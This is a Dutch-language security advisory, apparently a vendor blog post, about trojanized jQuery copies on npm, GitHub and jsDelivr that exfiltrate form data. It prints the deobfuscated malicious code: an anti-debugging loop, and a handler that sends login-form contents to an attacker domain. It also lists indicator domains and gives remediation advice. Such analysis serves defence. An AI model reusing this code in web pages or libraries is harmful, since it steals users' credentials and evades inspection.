Aanvallen zijn gevonden in getrojaniseerde jQuery op GitHub, npm en jsDelivr in een nieuwe web supply chain-aanval. Elk pakket had een kopie van jQuery met één kleine wijziging: de 'end'-functie. Dit maakt deel uit van het jQuery-prototype en werd aangepast om extra kwaadaardige code te bevatten.
In het kwaadaardige script stuurt de aanvaller een niet-blokkerende GET-aanvraag met '$.ajax' naar andere domeinen. De aanvraag-URL bevat een queryparameter, die verschilt tussen verschillende pakketten. Als gevolg hiervan worden alle formuliergegevens op de pagina geëxfiltreerd wanneer de end-functie wordt aangeroepen.
Dit werd eerst ontdekt op npm, later op meerdere GitHub-repositories en ook als een CDN-gehoste bron op jsDelivr.
In onze campagne getiteld supply chain-risico eindigt niet bij npm, benadrukken we dat de leveringsmethode van een script zoals dit dynamisch gedrag mogelijk maakt. Dit maakt het controleren van bronnen of vertrouwen op veilige betrouwbare leveringsmethoden alleen een riskant spel, zoals geïllustreerd door deze aanval. Dit misleidt vaak firewalls en stelt kwaadaardige code in staat om erdoorheen te glippen, en aanvallers zijn zich hier goed van bewust.
Wat we vonden
We haalden de kwaadaardige code op van de officiële jsDelivr CDN, die 37.000 hits per maand krijgt. Al deze bevatten de gewijzigde scripts en zijn onveilig.

Dit is een deel van de kwaadaardige code die we vonden en wat het doet:

Dit deel van het script serialiseert formuliergegevens, converteert deze naar een hexadecimale string en stuurt deze naar een externe server met behulp van een GET-aanvraag, waardoor mogelijk gevoelige gebruikersinformatie wordt blootgesteld zonder toestemming. Het gebruik van $.ajax met een async-functie maakt deze gegevensoverdracht heimelijk, wat wijst op kwaadaardige activiteiten gericht op het stiekem verzamelen van gegevens.
1. Anti-Debugging Mechanisme:
- Interval Functie: Een functie '_0x38c4a6' wordt elke 4 seconden uitgevoerd met behulp van 'setInterval'. Deze functie is bedoeld om debuggingpogingen te detecteren en te verstoren door gebruik te maken van JavaScript's 'debugger'-statement.
- Geneste Functie: Binnen '_0x38c4a6' bevat de geneste functie '_0x386016' logica om herhaaldelijk 'debugger' aan te roepen op basis van bepaalde voorwaarden, waardoor het moeilijk wordt voor iemand om de code te debuggen met standaardtools.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Formulier Inzending Handler:
- Formulier Selectie: Het script selecteert het formulier met de class '.login-form'.
- Submit Event: Een event listener wordt gekoppeld aan het submit-event van het formulier.
- AJAX Aanvraag: Wanneer het formulier wordt ingediend, wordt een AJAX POST-aanvraag verzonden naar 'https://koneksi.barux.my[.]id/index.php' met de geserialiseerde formuliergegevens.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
Dit suggereert samen dat het script mogelijk wordt gebruikt om manipulatie of inspectie te voorkomen (via de anti-debugging logica) terwijl stilletjes gegevens van een formulier naar een externe server worden verzonden. Deze gegevens kunnen gebruikersreferenties of andere soorten informatie zijn.
Zoals typisch is bij deze aanvallen, is het moeilijk te weten hoeveel mensen slachtoffer zijn geworden. De leveringsmethode van deze scripts maakt dynamisch gedrag mogelijk. Elke gebruiker kan elke keer een andere levering krijgen, vooral wanneer een script is gecompromitteerd. Het is dus ofwel volledig willekeurig, of zeer gericht en zo opgezet om lange tijd onopgemerkt te blijven.
In onderzoek gepubliceerd door Phylum, weten we dat de volgende domeinen werden gebruikt in deze aanval:
- https://paneljs[.]hanznesia[.]my[.]id
- https://api-web-vrip[.]hanznesia[.]my[.]id
- https://log[.]api-system[.]engineer
- https://irisainginbos[.]icikipoxx[.]pw
- https://patipride[.]icikipoxx[.]pw
- https://apii[.]fukaes[.]ninja
- https://pukil[.]dannew[.]biz[.]id
- https://api[.]jstyy[.]xyz
- https://qxue[.]biz[.]id
- https://api[.]newrxl[.]online
- https://api[.]iimg[.]my[.]id
- https://apiweb[.]eventtss[.]my[.]id
- https://pokemon[.]denii[.]biz[.]id
- https://apii[.]codatuys[.]cab
- https://api[.]codatuys[.]biz[.]id
- https://saystem[.]ditzzultimate[.]xyz
- https://paneljs[.]dimashost[.]xyz
- https://cssimage[.]dimashost[.]xyz
- https://ajax[.]failexpect[.]biz[.]id
- https://ns[.]api-system[.]engineer
- https://log[.]systems-alexhost[.]xyz
- https://api-system[.]engineer
- https://systems-alexhost[.]xyz
- https://panel[.]api-bo[.]my[.]id
- https://project[.]systemgoods[.]me
- https://danu[.]eventtss[.]my[.]id
- https://panel-host[.]clannesia[.]com
- http://apii-pandawara[.]ganznesia[.]my[.]id
- https://system-alexhosting[.]biz[.]id
- https://nd[.]api-system[.]engineer
- https://anti-spam[.]truex[.]biz[.]id
- https://panel-host[.]dmdpanel[.]my[.]id
- https://api-bo[.]my[.]id
- https://pusat-js[.]truex[.]biz[.]id
Wat kunt u doen
De tijd voor preventieve maatregelen is voorbij. Controleer onmiddellijk uw code op verwijzingen naar de getroffen repositories en domeinen. Indien gevonden, verwijder ze.
Aanvallen zoals deze waren vroeger onmogelijk te detecteren omdat ontwikkelaars die afhankelijk zijn van bronnen van derden niet altijd op de hoogte zijn van wijzigingen in de scripts zelf. Oudere detectiemethoden houden geen rekening met deze wijzigingen en hebben geen manier om ze te onderscheiden.
Door gebruik te maken van cside's gratis tier, wordt u gewaarschuwd wanneer een wijziging wordt aangebracht in het script zelf. We blokkeren alles wat kwaadaardig is autonoom, en u krijgt een volledig overzicht van de gedeobfusceerde scripts om te begrijpen wat ze leveren.









